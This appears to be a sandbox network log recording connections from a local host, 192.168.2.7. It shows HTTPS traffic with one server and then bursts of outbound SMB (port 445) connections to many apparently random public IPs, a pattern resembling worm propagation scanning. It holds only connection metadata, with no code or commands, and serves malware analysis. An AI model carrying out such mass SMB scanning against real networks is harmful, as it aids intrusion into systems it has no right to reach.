Jul 20, 2022 15:44:28.612093925 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612147093 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612158060 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612188101 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612194061 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612209082 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612266064 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612294912 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612333059 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612351894 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612374067 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612401962 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612426043 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612432003 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612447977 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612509012 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612543106 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612567902 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612574100 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612590075 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612638950 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612677097 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612720966 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612828016 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612839937 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612862110 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612885952 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612936020 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.612978935 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.612988949 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613008022 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613039970 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613086939 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613090992 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613157988 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613174915 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613195896 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613223076 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613233089 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613300085 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613305092 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613332033 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613360882 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613379955 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613455057 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613475084 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613497019 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613516092 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613543034 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613553047 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613590002 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613605976 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613619089 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613662958 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613692045 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613713980 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613717079 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613743067 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613782883 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613801003 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613821030 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613872051 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613939047 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.613938093 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.613955975 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.614007950 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.614022017 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.614063978 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.614062071 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.614092112 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.614115000 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.614137888 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.614182949 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.614224911 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.622860909 CEST	51088	445	192.168.2.7	23.92.35.24
Jul 20, 2022 15:44:28.625838041 CEST	51089	445	192.168.2.7	31.25.38.212
Jul 20, 2022 15:44:28.625979900 CEST	51090	445	192.168.2.7	6.30.232.194
Jul 20, 2022 15:44:28.626097918 CEST	51091	445	192.168.2.7	219.210.149.161
Jul 20, 2022 15:44:28.626458883 CEST	51092	445	192.168.2.7	151.150.63.142
Jul 20, 2022 15:44:28.626591921 CEST	51093	445	192.168.2.7	37.58.170.83
Jul 20, 2022 15:44:28.626698971 CEST	51094	445	192.168.2.7	215.41.76.168
Jul 20, 2022 15:44:28.626808882 CEST	51095	445	192.168.2.7	1.244.45.109
Jul 20, 2022 15:44:28.627021074 CEST	51097	445	192.168.2.7	149.237.230.194
Jul 20, 2022 15:44:28.627183914 CEST	51099	445	192.168.2.7	196.118.143.17
Jul 20, 2022 15:44:28.627315998 CEST	51100	445	192.168.2.7	216.52.188.28
Jul 20, 2022 15:44:28.627655983 CEST	51101	445	192.168.2.7	138.15.174.180
Jul 20, 2022 15:44:28.631076097 CEST	51102	445	192.168.2.7	105.12.1.12
Jul 20, 2022 15:44:28.631242990 CEST	51103	445	192.168.2.7	220.91.164.194
Jul 20, 2022 15:44:28.631370068 CEST	51104	445	192.168.2.7	67.237.201.135
Jul 20, 2022 15:44:28.631480932 CEST	51105	445	192.168.2.7	38.192.53.214
Jul 20, 2022 15:44:28.631592035 CEST	51106	445	192.168.2.7	177.85.164.35
Jul 20, 2022 15:44:28.631722927 CEST	51107	445	192.168.2.7	204.2.113.171
Jul 20, 2022 15:44:28.674505949 CEST	51108	445	192.168.2.7	139.170.36.63
Jul 20, 2022 15:44:28.678080082 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.678530931 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.683187008 CEST	51076	443	192.168.2.7	80.67.82.211
Jul 20, 2022 15:44:28.683218956 CEST	443	51076	80.67.82.211	192.168.2.7
Jul 20, 2022 15:44:28.699559927 CEST	445	51063	202.208.39.136	192.168.2.7
Jul 20, 2022 15:44:28.756934881 CEST	51109	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:28.791985035 CEST	51110	445	192.168.2.7	93.118.86.237
Jul 20, 2022 15:44:28.835347891 CEST	445	51109	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:28.835521936 CEST	51109	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:28.835656881 CEST	51109	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:28.915313005 CEST	445	51109	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:28.923346996 CEST	445	51109	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:28.923614979 CEST	51109	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:28.936111927 CEST	445	51074	153.250.97.251	192.168.2.7
Jul 20, 2022 15:44:29.003993988 CEST	445	51109	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:29.004219055 CEST	51109	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:29.084300041 CEST	445	51109	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:29.084527969 CEST	51109	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:29.161442041 CEST	445	51109	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:29.161569118 CEST	51109	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:29.218846083 CEST	51112	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:29.239912033 CEST	445	51109	188.18.139.21	192.168.2.7
Jul 20, 2022 15:44:29.240027905 CEST	51109	445	192.168.2.7	188.18.139.21
Jul 20, 2022 15:44:29.302802086 CEST	445	51112	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:29.303004026 CEST	51112	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:29.303195953 CEST	51112	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:29.341644049 CEST	51113	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:29.386857986 CEST	445	51112	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:29.394900084 CEST	445	51112	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:29.395108938 CEST	51112	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:29.427321911 CEST	445	51113	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:29.427490950 CEST	51113	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:29.430910110 CEST	51113	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:29.515311956 CEST	445	51113	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:29.519258976 CEST	445	51113	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:29.519464970 CEST	51113	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:29.607136965 CEST	445	51113	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:29.613964081 CEST	51113	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:29.614645958 CEST	51115	445	192.168.2.7	203.184.245.8
Jul 20, 2022 15:44:29.620229959 CEST	51116	445	192.168.2.7	15.138.239.207
Jul 20, 2022 15:44:29.620234966 CEST	51117	445	192.168.2.7	211.71.134.139
Jul 20, 2022 15:44:29.699191093 CEST	445	51113	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:29.699359894 CEST	51113	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:29.731527090 CEST	51118	445	192.168.2.7	155.136.163.30
Jul 20, 2022 15:44:29.731573105 CEST	51119	445	192.168.2.7	45.210.142.135
Jul 20, 2022 15:44:29.731820107 CEST	51120	445	192.168.2.7	19.58.167.150
Jul 20, 2022 15:44:29.731940985 CEST	51122	445	192.168.2.7	30.221.111.194
Jul 20, 2022 15:44:29.731942892 CEST	51121	445	192.168.2.7	18.43.101.45
Jul 20, 2022 15:44:29.732172012 CEST	51124	445	192.168.2.7	16.159.142.218
Jul 20, 2022 15:44:29.745134115 CEST	51125	445	192.168.2.7	4.134.31.121
Jul 20, 2022 15:44:29.746409893 CEST	51126	445	192.168.2.7	123.32.37.155
Jul 20, 2022 15:44:29.753292084 CEST	51127	445	192.168.2.7	209.250.132.48
Jul 20, 2022 15:44:29.753328085 CEST	51128	445	192.168.2.7	95.160.27.215
Jul 20, 2022 15:44:29.753396034 CEST	51129	445	192.168.2.7	152.60.193.164
Jul 20, 2022 15:44:29.753460884 CEST	51130	445	192.168.2.7	4.6.201.90
Jul 20, 2022 15:44:29.753489971 CEST	51131	445	192.168.2.7	130.7.70.154
Jul 20, 2022 15:44:29.753592014 CEST	51132	445	192.168.2.7	111.105.141.13
Jul 20, 2022 15:44:29.753618956 CEST	51133	445	192.168.2.7	56.20.38.141
Jul 20, 2022 15:44:29.753680944 CEST	51134	445	192.168.2.7	62.221.207.179
Jul 20, 2022 15:44:29.753719091 CEST	51135	445	192.168.2.7	189.204.58.88
Jul 20, 2022 15:44:29.753783941 CEST	51136	445	192.168.2.7	74.116.223.217
Jul 20, 2022 15:44:29.753910065 CEST	51138	445	192.168.2.7	183.22.149.26
Jul 20, 2022 15:44:29.753995895 CEST	51139	445	192.168.2.7	95.27.14.187
Jul 20, 2022 15:44:29.754021883 CEST	51140	445	192.168.2.7	36.113.142.222
Jul 20, 2022 15:44:29.754133940 CEST	51141	445	192.168.2.7	39.111.136.205
Jul 20, 2022 15:44:29.754167080 CEST	51142	445	192.168.2.7	110.185.238.180
Jul 20, 2022 15:44:29.754224062 CEST	51143	445	192.168.2.7	34.127.128.179
Jul 20, 2022 15:44:29.754277945 CEST	51144	445	192.168.2.7	5.68.93.233
Jul 20, 2022 15:44:29.787278891 CEST	445	51113	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:29.787389040 CEST	51113	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:29.791920900 CEST	51145	445	192.168.2.7	46.34.120.184
Jul 20, 2022 15:44:29.875288963 CEST	445	51113	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:29.875359058 CEST	51113	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:29.917287111 CEST	51146	445	192.168.2.7	33.192.200.83
Jul 20, 2022 15:44:30.730355024 CEST	51150	445	192.168.2.7	153.17.136.23
Jul 20, 2022 15:44:30.771605968 CEST	51151	445	192.168.2.7	115.35.233.115
Jul 20, 2022 15:44:30.772936106 CEST	51152	445	192.168.2.7	2.171.157.8
Jul 20, 2022 15:44:30.855962992 CEST	51153	445	192.168.2.7	42.19.81.53
Jul 20, 2022 15:44:30.857633114 CEST	51154	445	192.168.2.7	106.27.93.57
Jul 20, 2022 15:44:30.859566927 CEST	51155	445	192.168.2.7	15.94.250.120
Jul 20, 2022 15:44:30.861165047 CEST	51156	445	192.168.2.7	171.16.44.193
Jul 20, 2022 15:44:30.864691019 CEST	51158	445	192.168.2.7	92.131.55.124
Jul 20, 2022 15:44:30.866771936 CEST	51159	445	192.168.2.7	106.214.93.13
Jul 20, 2022 15:44:30.871042967 CEST	51160	445	192.168.2.7	71.131.113.67
Jul 20, 2022 15:44:30.872507095 CEST	51161	445	192.168.2.7	75.120.69.162
Jul 20, 2022 15:44:30.873153925 CEST	51162	445	192.168.2.7	67.160.188.176
Jul 20, 2022 15:44:30.873791933 CEST	51163	445	192.168.2.7	35.182.77.188
Jul 20, 2022 15:44:30.874358892 CEST	51164	445	192.168.2.7	2.250.205.214
Jul 20, 2022 15:44:30.893871069 CEST	51165	445	192.168.2.7	40.208.247.118
Jul 20, 2022 15:44:30.897236109 CEST	51166	445	192.168.2.7	85.49.98.94
Jul 20, 2022 15:44:30.908010006 CEST	51167	445	192.168.2.7	217.132.96.12
Jul 20, 2022 15:44:30.908046007 CEST	51168	445	192.168.2.7	142.18.236.96
Jul 20, 2022 15:44:30.908113003 CEST	51169	445	192.168.2.7	77.105.57.88
Jul 20, 2022 15:44:30.908257961 CEST	51171	445	192.168.2.7	201.163.192.29
Jul 20, 2022 15:44:30.908293009 CEST	51170	445	192.168.2.7	112.27.103.239
Jul 20, 2022 15:44:30.908350945 CEST	51172	445	192.168.2.7	141.249.21.119
Jul 20, 2022 15:44:30.908412933 CEST	51173	445	192.168.2.7	40.138.56.179
Jul 20, 2022 15:44:30.908456087 CEST	51174	445	192.168.2.7	182.222.206.225
Jul 20, 2022 15:44:30.908616066 CEST	51175	445	192.168.2.7	52.175.154.247
Jul 20, 2022 15:44:30.908622026 CEST	51177	445	192.168.2.7	169.35.117.141
Jul 20, 2022 15:44:30.908667088 CEST	51176	445	192.168.2.7	153.243.108.21
Jul 20, 2022 15:44:30.908708096 CEST	51178	445	192.168.2.7	162.0.188.107
Jul 20, 2022 15:44:30.908735037 CEST	51179	445	192.168.2.7	40.175.132.206
Jul 20, 2022 15:44:30.917434931 CEST	51180	445	192.168.2.7	10.64.34.75
Jul 20, 2022 15:44:31.042119026 CEST	51181	445	192.168.2.7	17.98.57.18
Jul 20, 2022 15:44:31.855083942 CEST	51185	445	192.168.2.7	165.188.152.252
Jul 20, 2022 15:44:31.903023958 CEST	51186	445	192.168.2.7	135.245.94.90
Jul 20, 2022 15:44:31.903067112 CEST	51187	445	192.168.2.7	68.128.249.242
Jul 20, 2022 15:44:31.981543064 CEST	51188	445	192.168.2.7	19.223.2.31
Jul 20, 2022 15:44:31.992922068 CEST	51189	445	192.168.2.7	153.84.177.220
Jul 20, 2022 15:44:32.048429966 CEST	51190	445	192.168.2.7	170.29.0.43
Jul 20, 2022 15:44:32.048532963 CEST	51191	445	192.168.2.7	180.210.123.201
Jul 20, 2022 15:44:32.049235106 CEST	51192	445	192.168.2.7	43.235.176.71
Jul 20, 2022 15:44:32.049253941 CEST	51193	445	192.168.2.7	116.108.111.75
Jul 20, 2022 15:44:32.050107002 CEST	51195	445	192.168.2.7	148.167.70.115
Jul 20, 2022 15:44:32.050168991 CEST	51196	445	192.168.2.7	108.152.219.121
Jul 20, 2022 15:44:32.050286055 CEST	51197	445	192.168.2.7	31.20.212.155
Jul 20, 2022 15:44:32.050410032 CEST	51199	445	192.168.2.7	216.0.252.247
Jul 20, 2022 15:44:32.050436020 CEST	51198	445	192.168.2.7	19.162.149.236
Jul 20, 2022 15:44:32.050544024 CEST	51201	445	192.168.2.7	155.216.221.225
Jul 20, 2022 15:44:32.050546885 CEST	51200	445	192.168.2.7	181.90.200.160
Jul 20, 2022 15:44:32.050558090 CEST	51202	445	192.168.2.7	70.18.146.77
Jul 20, 2022 15:44:32.050659895 CEST	51203	445	192.168.2.7	140.8.52.183
Jul 20, 2022 15:44:32.050702095 CEST	51204	445	192.168.2.7	222.16.86.252
Jul 20, 2022 15:44:32.050787926 CEST	51205	445	192.168.2.7	222.157.55.189
Jul 20, 2022 15:44:32.050843000 CEST	51206	445	192.168.2.7	148.164.132.228
Jul 20, 2022 15:44:32.050894022 CEST	51207	445	192.168.2.7	187.85.33.56
Jul 20, 2022 15:44:32.050966024 CEST	51208	445	192.168.2.7	87.219.177.143
Jul 20, 2022 15:44:32.051007032 CEST	51209	445	192.168.2.7	80.82.192.58
Jul 20, 2022 15:44:32.051110983 CEST	51211	445	192.168.2.7	186.22.216.132
Jul 20, 2022 15:44:32.051112890 CEST	51210	445	192.168.2.7	158.17.197.89
Jul 20, 2022 15:44:32.051239014 CEST	51213	445	192.168.2.7	65.177.81.96
Jul 20, 2022 15:44:32.051265955 CEST	51212	445	192.168.2.7	1.78.157.198
Jul 20, 2022 15:44:32.051378965 CEST	51214	445	192.168.2.7	10.169.111.114
Jul 20, 2022 15:44:32.053617954 CEST	51215	445	192.168.2.7	211.135.48.239
Jul 20, 2022 15:44:32.188914061 CEST	51217	445	192.168.2.7	87.84.57.69
Jul 20, 2022 15:44:32.796087980 CEST	51221	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:32.886687994 CEST	445	51221	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:32.886845112 CEST	51221	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:32.971577883 CEST	51221	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:33.006350994 CEST	51222	445	192.168.2.7	14.40.72.182
Jul 20, 2022 15:44:33.055903912 CEST	445	51221	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:33.059253931 CEST	445	51221	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:33.064444065 CEST	51221	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:33.098642111 CEST	51223	445	192.168.2.7	86.60.124.224
Jul 20, 2022 15:44:33.099364996 CEST	51224	445	192.168.2.7	173.234.5.114
Jul 20, 2022 15:44:33.137422085 CEST	51225	445	192.168.2.7	180.53.110.113
Jul 20, 2022 15:44:33.138123989 CEST	51226	445	192.168.2.7	143.19.212.7
Jul 20, 2022 15:44:33.152863026 CEST	445	51221	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:33.169281006 CEST	51221	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:33.171499014 CEST	51227	445	192.168.2.7	13.167.119.91
Jul 20, 2022 15:44:33.172384024 CEST	51228	445	192.168.2.7	60.97.237.156
Jul 20, 2022 15:44:33.176634073 CEST	51229	445	192.168.2.7	50.230.206.163
Jul 20, 2022 15:44:33.177433968 CEST	51230	445	192.168.2.7	37.47.41.235
Jul 20, 2022 15:44:33.178855896 CEST	51232	445	192.168.2.7	201.150.186.169
Jul 20, 2022 15:44:33.179603100 CEST	51233	445	192.168.2.7	73.164.74.65
Jul 20, 2022 15:44:33.180311918 CEST	51234	445	192.168.2.7	88.64.179.7
Jul 20, 2022 15:44:33.181021929 CEST	51235	445	192.168.2.7	31.181.103.36
Jul 20, 2022 15:44:33.181710958 CEST	51236	445	192.168.2.7	59.93.204.243
Jul 20, 2022 15:44:33.182356119 CEST	51237	445	192.168.2.7	19.38.36.57
Jul 20, 2022 15:44:33.183020115 CEST	51238	445	192.168.2.7	197.251.58.235
Jul 20, 2022 15:44:33.185101032 CEST	51239	445	192.168.2.7	36.121.110.242
Jul 20, 2022 15:44:33.185926914 CEST	51240	445	192.168.2.7	87.247.20.117
Jul 20, 2022 15:44:33.186588049 CEST	51241	445	192.168.2.7	195.110.160.206
Jul 20, 2022 15:44:33.187228918 CEST	51242	445	192.168.2.7	50.57.182.77
Jul 20, 2022 15:44:33.187896967 CEST	51243	445	192.168.2.7	20.165.174.158
Jul 20, 2022 15:44:33.188630104 CEST	51244	445	192.168.2.7	124.198.123.207
Jul 20, 2022 15:44:33.189285994 CEST	51245	445	192.168.2.7	20.44.109.38
Jul 20, 2022 15:44:33.189973116 CEST	51246	445	192.168.2.7	131.99.49.215
Jul 20, 2022 15:44:33.190654039 CEST	51247	445	192.168.2.7	201.1.215.146
Jul 20, 2022 15:44:33.191340923 CEST	51248	445	192.168.2.7	149.64.146.218
Jul 20, 2022 15:44:33.192025900 CEST	51249	445	192.168.2.7	133.118.97.249
Jul 20, 2022 15:44:33.192728996 CEST	51250	445	192.168.2.7	76.5.192.228
Jul 20, 2022 15:44:33.193547964 CEST	51251	445	192.168.2.7	116.120.88.239
Jul 20, 2022 15:44:33.194255114 CEST	51252	445	192.168.2.7	209.249.181.199
Jul 20, 2022 15:44:33.213207006 CEST	445	51246	131.99.49.215	192.168.2.7
Jul 20, 2022 15:44:33.259293079 CEST	445	51221	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:33.265733004 CEST	51221	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:33.290817022 CEST	51254	445	192.168.2.7	32.180.242.120
Jul 20, 2022 15:44:33.352350950 CEST	445	51221	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:33.352571964 CEST	51221	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:33.409272909 CEST	51255	445	192.168.2.7	188.18.139.23
Jul 20, 2022 15:44:33.440236092 CEST	445	51221	188.18.139.22	192.168.2.7
Jul 20, 2022 15:44:33.441091061 CEST	51221	445	192.168.2.7	188.18.139.22
Jul 20, 2022 15:44:33.795629025 CEST	51246	445	192.168.2.7	131.99.49.215
Jul 20, 2022 15:44:33.814918995 CEST	445	51246	131.99.49.215	192.168.2.7
Jul 20, 2022 15:44:34.125163078 CEST	51259	445	192.168.2.7	36.190.53.181
Jul 20, 2022 15:44:34.229474068 CEST	51261	445	192.168.2.7	72.92.95.253
Jul 20, 2022 15:44:34.230205059 CEST	51262	445	192.168.2.7	204.76.79.17
Jul 20, 2022 15:44:34.244175911 CEST	51263	445	192.168.2.7	51.228.198.219
Jul 20, 2022 15:44:34.244731903 CEST	51264	445	192.168.2.7	40.117.45.210
Jul 20, 2022 15:44:34.373960018 CEST	51265	445	192.168.2.7	219.228.67.54
Jul 20, 2022 15:44:34.374058962 CEST	51266	445	192.168.2.7	27.40.72.95
Jul 20, 2022 15:44:34.374147892 CEST	51267	445	192.168.2.7	172.206.86.110
Jul 20, 2022 15:44:34.374274015 CEST	51269	445	192.168.2.7	8.20.209.56
Jul 20, 2022 15:44:34.374336958 CEST	51270	445	192.168.2.7	18.113.183.196
Jul 20, 2022 15:44:34.374414921 CEST	51271	445	192.168.2.7	85.88.154.203
Jul 20, 2022 15:44:34.374473095 CEST	51272	445	192.168.2.7	96.225.146.80
Jul 20, 2022 15:44:34.374566078 CEST	51273	445	192.168.2.7	220.173.234.228
Jul 20, 2022 15:44:34.374639988 CEST	51274	445	192.168.2.7	170.151.141.31
Jul 20, 2022 15:44:34.374732018 CEST	51275	445	192.168.2.7	199.66.124.140
Jul 20, 2022 15:44:34.374810934 CEST	51276	445	192.168.2.7	166.131.154.17
Jul 20, 2022 15:44:34.374907970 CEST	51277	445	192.168.2.7	161.143.139.4
Jul 20, 2022 15:44:34.374949932 CEST	51278	445	192.168.2.7	50.185.163.168
Jul 20, 2022 15:44:34.375024080 CEST	51279	445	192.168.2.7	178.213.127.180
Jul 20, 2022 15:44:34.375094891 CEST	51280	445	192.168.2.7	109.96.199.171
Jul 20, 2022 15:44:34.375170946 CEST	51281	445	192.168.2.7	27.248.66.115
Jul 20, 2022 15:44:34.375248909 CEST	51282	445	192.168.2.7	20.135.166.150
Jul 20, 2022 15:44:34.375303984 CEST	51283	445	192.168.2.7	27.102.227.227
Jul 20, 2022 15:44:34.375396013 CEST	51284	445	192.168.2.7	10.138.77.253
Jul 20, 2022 15:44:34.375458956 CEST	51285	445	192.168.2.7	125.157.212.174
Jul 20, 2022 15:44:34.375535011 CEST	51286	445	192.168.2.7	46.212.218.0
Jul 20, 2022 15:44:34.375603914 CEST	51287	445	192.168.2.7	87.100.117.174
Jul 20, 2022 15:44:34.375693083 CEST	51288	445	192.168.2.7	217.14.96.227
Jul 20, 2022 15:44:34.377623081 CEST	51290	445	192.168.2.7	16.209.11.102
Jul 20, 2022 15:44:34.428376913 CEST	51291	445	192.168.2.7	106.31.48.63
Jul 20, 2022 15:44:34.441214085 CEST	51292	445	192.168.2.7	23.224.108.6
Jul 20, 2022 15:44:34.489768028 CEST	51293	445	192.168.2.7	188.18.139.24
Jul 20, 2022 15:44:35.267335892 CEST	51297	445	192.168.2.7	70.133.101.203
Jul 20, 2022 15:44:35.379554987 CEST	51299	445	192.168.2.7	154.178.139.251
Jul 20, 2022 15:44:35.380584002 CEST	51300	445	192.168.2.7	171.134.146.17
Jul 20, 2022 15:44:35.386743069 CEST	51301	445	192.168.2.7	210.0.185.87
Jul 20, 2022 15:44:35.386807919 CEST	51302	445	192.168.2.7	64.110.83.122
Jul 20, 2022 15:44:35.510907888 CEST	51303	445	192.168.2.7	158.186.217.57
Jul 20, 2022 15:44:35.511461020 CEST	51304	445	192.168.2.7	152.42.122.136
Jul 20, 2022 15:44:35.511961937 CEST	51305	445	192.168.2.7	94.240.221.39
Jul 20, 2022 15:44:35.512449026 CEST	51306	445	192.168.2.7	121.249.138.41
Jul 20, 2022 15:44:35.512952089 CEST	51307	445	192.168.2.7	111.211.149.176
Jul 20, 2022 15:44:35.513438940 CEST	51308	445	192.168.2.7	145.196.55.105
Jul 20, 2022 15:44:35.513922930 CEST	51309	445	192.168.2.7	205.219.87.157
Jul 20, 2022 15:44:35.514878988 CEST	51311	445	192.168.2.7	153.56.157.231
Jul 20, 2022 15:44:35.515371084 CEST	51312	445	192.168.2.7	217.195.64.214
Jul 20, 2022 15:44:35.515945911 CEST	51313	445	192.168.2.7	132.178.97.31
Jul 20, 2022 15:44:35.516447067 CEST	51314	445	192.168.2.7	107.170.140.33
Jul 20, 2022 15:44:35.516980886 CEST	51315	445	192.168.2.7	108.31.241.222
Jul 20, 2022 15:44:35.517437935 CEST	51316	445	192.168.2.7	130.206.87.135
Jul 20, 2022 15:44:35.517977953 CEST	51317	445	192.168.2.7	114.247.176.243
Jul 20, 2022 15:44:35.518460989 CEST	51318	445	192.168.2.7	23.97.142.151
Jul 20, 2022 15:44:35.518954992 CEST	51319	445	192.168.2.7	22.239.0.35
Jul 20, 2022 15:44:35.519423962 CEST	51320	445	192.168.2.7	144.235.173.117
